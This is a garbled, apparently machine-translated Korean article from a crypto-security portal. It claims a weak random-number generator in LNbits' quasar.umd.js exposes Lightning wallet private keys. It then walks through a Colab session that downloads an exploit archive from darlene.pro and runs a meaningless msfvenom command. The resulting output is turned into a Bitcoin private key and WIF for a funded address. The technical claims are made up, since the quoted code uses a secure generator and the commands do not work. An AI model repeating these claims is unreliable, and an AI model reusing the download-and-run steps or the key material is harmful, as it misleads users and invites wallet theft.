이 글에서는 스마트폰 애플리케이션 iOS
과 BLW를 Android
통한 빠른 결제를 지원하는 인기 있는 비트코인 지갑인 (Lightning network)
비트코인 라이트닝 지갑 에 초점을 맞출 것입니다. 안타깝게도 LNbits Node Manager 와 Core Lightning 의 오픈 소스 모바일 애플리케이션의 많은 자율 노드는 다양한 암호화폐 코인의 모든 자금을 잃을 위험이 매우 높습니다.
일본 회사 Bitcoin Portal 의 개발자 데이비드 셰어스가 많은 문서를 공개했습니다 .
이론적 기반을 살펴보겠습니다. LNbits 는 다양한 암호화폐 지갑과 함께 작동하는 많은 모바일 애플리케이션을 위한 무료 계정 시스템입니다. 처음에는 … 를 위한 비보관형 및 자율형 노드의 LNbits Node Manager
개발로 인해 널리 인기를 얻었 으며, 를 위해 설계 되고 기능이 있습니다 . 자율형 노드를 사용하면 자금을 완벽하게 제어할 수 있으며 (다른 모바일 암호화폐 지갑 앱과 달리) 자금을 직접 관리해야 합니다 .Bitcoin Lightning Wallet (BLW)
Bitcoin SPV
Android
iPhone
Node.js
오픈소스 노드 관리자 LNbits는 다음과 같은 여러 가지 문제를 해결합니다.
BTC, ETH, LTC, USDT, XLM, BNB
동전 등 의 종이 가격 모음- 결제 채널을 여는 데 사용하는
LNbits
공개 노드 목록을 유지 관리합니다 .Bitcoin Lightning Wallet (BLW)
- 결제 경로에 대한 부분 결제를 제공합니다.
- 결제 채널의 암호화된 백업을 저장합니다.

LNbits 노드 관리자는 다음 서비스와 함께 작동합니다.

살바도르 게레로 의 사례에 따르면 ,
LNBits
본격적인 비트코인 노드를 설치한 많은 사람이 라즈베리 파이 에서 실행하여Bitcoin
거래 수수료 없이 송수신할 수 있습니다. 이는 모든 암호화폐 지갑이LNbits
동일한 코어 라이트닝 인스턴스에 있는 경우에만 가능합니다 .




일본 회사 Bitcoin Portal 의 개발자 David Shares 는 기술적 문제, 버그, 단점, 비판 및 악용에 빠져 있다는 것을 보여주는 연대순 목록을 게시했습니다 . 분산화를 제공하지 않고 사용자에게 기능적이고 안전하지 않은 과장된 기술입니다.
Lightning Network

연대순 목록의 모든 자료를 자세히 조사한 후, 우리는 프레임워크의 취약성 과 quasar.umd.js 코드 작업 과정에 주목했습니다.

Quasar는 다양한 암호화폐 지갑을 위한 반응형 웹사이트와 모바일 애플리케이션을 만드는 데 사용할 수 있는 오픈 소스 Vue.js 기반 프레임워크 입니다
소스 Snyk 취약점 데이터베이스 에서 알 수 있듯이 Vue.js의 최신 버전에는 취약점이 포함되어 있어 LNbits v0.11.0 버전이 quasar.umd.js 코드 에서 일련의 순환 오류를 시작할 수 있었습니다.

quasar.umd.js 코드 에 오류가 있습니다 .
// Use best available PRNG
var randomBytes = (function () {
// Node & Browser support
var lib = typeof crypto !== 'undefined'
? crypto
: (
typeof window !== 'undefined'
? window.msCrypto // IE11
: void 0
);
if (lib !== void 0) {
if (lib.randomBytes !== void 0) {
return lib.randomBytes
}
if (lib.getRandomValues !== void 0) {
return function (n) {
var bytes = new Uint8Array(n);
lib.getRandomValues(bytes);
return bytes
}
}
}

약한 의사난수 생성기의 경우, 무작위 값에 대한 암호화 강도를 잃기 때문에 비트코인 지갑의 개인 키를 얻고 완전히 확인할 수 있는 (PRNG)
기회가 주어집니다 .SEED
lib.getRandomValues
이제 실제적인 부분으로 넘어가겠습니다.
(완성된 파일은 Jupyter Notebook 에서 열고 Google Colab notebook 에 업로드할 수 있습니다 )

(PRNG)
코드 quasar.umd.js 에서 약한 의사난수 생성기로부터 비트코인 지갑의 개인 키를 추출하는 실제 예를 고려해 보겠습니다.
비트코인 지갑 : 9월에 미국 달러
2023
에 해당하는 금액의 도난이 발생했습니다.// 비트코인:
11032.77
0.30412330 BTC

Bitcoin_Lightning_Wallet_Vulnerability.ipynb
https://colab.research.google.com 링크를 사용하여 Google Colab 서비스를 열어 보겠습니다 .

클릭
"+"
하고 “새 메모장 만들기”를 클릭 하세요.

Google Colab에 Ruby 설치

필요한 프로그램을 실행하기 위해 객체 지향 프로그래밍 언어인 Ruby를 설치합니다.
!sudo apt install ruby-full

설치 버전을 확인해 보겠습니다.
!ruby --version

'bitcoin-ruby'
비트코인 프로토콜/네트워크와 상호작용하기 위한 라이브러리를 설치해 보자
!gem install bitcoin-ruby

'ecdsa'
ECDSA(Elliptic Curve Digital Signature Algorithm) 구현을 위한 라이브러리를 설치해 보겠습니다.
!gem install ecdsa

'base58'
정수와 이진수를 숫자로 변환하는 라이브러리를 설치해 보겠습니다base58
.
!gem install base58

'crypto'
바이트 및 기본 암호화 작업을 단순화하기 위한 라이브러리를 설치해 보겠습니다.
!gem install crypto

'config-hash'
빅데이터 작업을 간소화하기 위해 라이브러리를 설치해 보겠습니다 .
!gem install config-hash -v 0.9.0

Metasploit Framework를 설치하고 MSFVenom을 사용해 보겠습니다.

GitHub 에서 Metasploit Framework를 설치 하고 MSFVenom 도구를 사용하여 페이로드를 생성해 보겠습니다.

!git clone https://github.com/rapid7/metasploit-framework.git
ls
cd metasploit-framework/

폴더의 내용을 살펴보자
"metasploit-framework"
ls

옵션:
!./msfvenom -help

GitHub 코드를 열고 취약한 파일인 quasar.umd.js를 사용해 보겠습니다.


메모에서 우리는 quasar.umd.js 파일에 대한 링크를 봅니다.
코드를 열어 보겠습니다.

LNbits , 무료 오픈 소스 Lightning 지갑 및 계정 시스템

Google Colab에 lnbits 설치 :
!git clone https://github.com/lnbits/lnbits.git
엘에스

cat 유틸리티를 사용하여 취약한 파일인 quasar.umd.js를 열어 보겠습니다.
cat lnbits/lnbits/static/vendor/quasar.umd.js

디렉토리에 따라 폴더를 열어 보겠습니다./modules/exploits/

ExploitDarlenePRO
"ExploitDarlenePRO"
카탈로그에서 다운로드 :/modules/exploits/
cd modules/
ls
cd exploits/
!wget https://darlene.pro/repository/21fa0f866f9f5fd22ce045e57f22185de1877dee25ad9d3974b7167a78957680/ExploitDarlenePRO.zip

ExploitDarlenePRO.zip
유틸리티를 사용하여 콘텐츠 압축 해제 unzip
!unzip ExploitDarlenePRO.zip

카탈로그를 살펴보겠습니다./ExploitDarlenePRO/
ls
cd ExploitDarlenePRO/
ls

익스플로잇을 실행하려면 다음으로 돌아가겠습니다.Metasploit Framework
cd /
cd content/metasploit-framework/
ls

LHOST (Local Host)
공격하는 가상 머신 을 식별해야 합니다 IP-address
.
명령을 실행해 보겠습니다.
!ip addr
!hostname -I

도구를 사용하여 페이로드를 생성해 보겠습니다. MSFVenom
작동을 위해 Bitcoin Wallet: 1qzgi39y33HrM7mHsZ6FaNspHCraJe62F 를 선택하세요.

실행 명령:
!./msfvenom 1qzgi39y33HrM7mHsZ6FaNspHCraJe62F -p modules/exploits/ExploitDarlenePRO LHOST=172.28.0.12 -f RB -o main.rb -p lnbits/lnbits/static/vendor LHOST=172.28.0.12 -f JS -o quasar.umd.js

결과:
111111001110010001110101111111111100101000011100101000100111001101111110010101100111010110111001011100010100001000110001010011010000010111110001011101110100101001010010110110000111011010010010110000101111001000110010010100111011011111010100011111100011011
결과 바이너리 형식을 파일에 저장해야 합니다. binary.txt
유틸리티를 사용해 보겠습니다.echo
팀:
!echo '111111001110010001110101111111111100101000011100101000100111001101111110010101100111010110111001011100010100001000110001010011010000010111110001011101110100101001010010110110000111011010010010110000101111001000110010010100111011011111010100011111100011011' > binary.txt

이진 형식을 HEX 형식으로 변환하여 비트코인 지갑의 개인 키를 얻습니다.
다음 코드를 사용해 보겠습니다.
binaryFile = open("binary.txt", "r")
binaryFile = binaryFile.readlines()
hexFile = open("hex.txt", "w+")
# loop through each line of binaryFile then convert and write to hexFile
for line in binaryFile:
binaryCode = line.replace(" ", "")
hexCode = hex(int(binaryCode, 2))
hexCode = hexCode.replace("0x", "").upper().zfill(4)
hexFile.write(hexCode + "\n")
# close hexFile
hexFile.close()

파일을 열어보겠습니다: hex.txt
cat hex.txt

개인 키를 찾았습니다!
모듈을 설치해 보자Bitcoin
!pip3 install bitcoin

비트코인 주소의 준수 여부를 확인하기 위해 코드를 실행해 보겠습니다.
from bitcoin import *
with open("hex.txt","r") as f:
content = f.readlines()
# you may also want to remove whitespace characters like `\n` at the end of each line
content = [x.strip() for x in content]
f.close()
outfile = open("privtoaddr.txt","w")
for x in content:
outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
outfile.close()

파일을 열어 보겠습니다.privtoaddr.txt
cat privtoaddr.txt

결과:
7E723AFFE50E5139BF2B3ADCB8A118A682F8BBA5296C3B4961791929DBEA3F1B:1qzgi39y33HrM7mHsZ6FaNspHCraJe62F
맞습니다! 개인 키는 비트코인 지갑에 해당합니다.
bitaddress를 열어 확인해 보겠습니다.
ADDR: 1qzgi39y33HrM7mHsZ6FaNspHCraJe62F
WIF: L1TWHkT6HcNVHCjsUpGecyZQqGJC5Ek98HunmRH4c3zb8V87NUiP
HEX: 7E723AFFE50E5139BF2B3ADCB8A118A682F8BBA5296C3B4961791929DBEA3F1B

https://www.blockchain.com/en/ex plorer/addresses/btc/1qzgi39y33HrM7mHsZ6FaNspHCraJe62F



BALANCE: $ 11032.77
참고문헌:
- [1] 비트코인 라이트닝 네트워크의 암호화폐 경제 트래픽 분석 (Ferenc Beres, Istvan A. Seres, Andras A. Benczur)
- [2] 홍수와 전리품: 번개 네트워크에 대한 체계적 공격 (조나 해리스, 아비브 조하르)
- [3] 단편 논문: Lightning Network의 중심성 분석 (Philipp Zabka, Klaus-T. Foerster, Christian Decker, Stefan Schmid)
- [4] 결제 채널 네트워크의 혼잡 공격 (Ayelet Mizrahi, Aviv Zohar)
- [5] 비트코인 확장 솔루션으로서의 Lightning에 대한 심층 분석 (George Kaloudis, Teddy Oosterbaan)
- [6] Lightning Network는 비트코인 스마트 계약으로 구동되는 오버레이 네트워크이며 블록체인이 아닙니다 (George Kaloudis, Teddy Oosterbaan)
- [7] Lightning Network 확장성 솔루션 (Joseph Poon, Thaddeus Dryja)
- [8] 비트코인 라이트닝 네트워크 초안 버전 0.5 (조셉 푼, 태디어스 드라이자)
- [9] 비트코인을 위한 CoinPool 효율적인 오프체인 지불 풀 (Gleb Naumenko, Antoine Riard)
이 자료는 CRYPTO DEEP TECH 포털을 위해 만들어졌으며, BITCOIN 암호화폐의 약한 ECDSA 서명에 대한 데이터 및 타원 곡선 암호화 secp256k1의 재정적 보안을 보장합니다 . 소프트웨어 제작자는 자료 사용에 대한 책임을 지지 않습니다.
텔레그램: https://t.me/cryptodeeptech
비디오: https://youtu.be/ZpflbzENAAw
출처: https://cryptodeeptech.ru/bitcoin-lightning-wallet-vulnerability
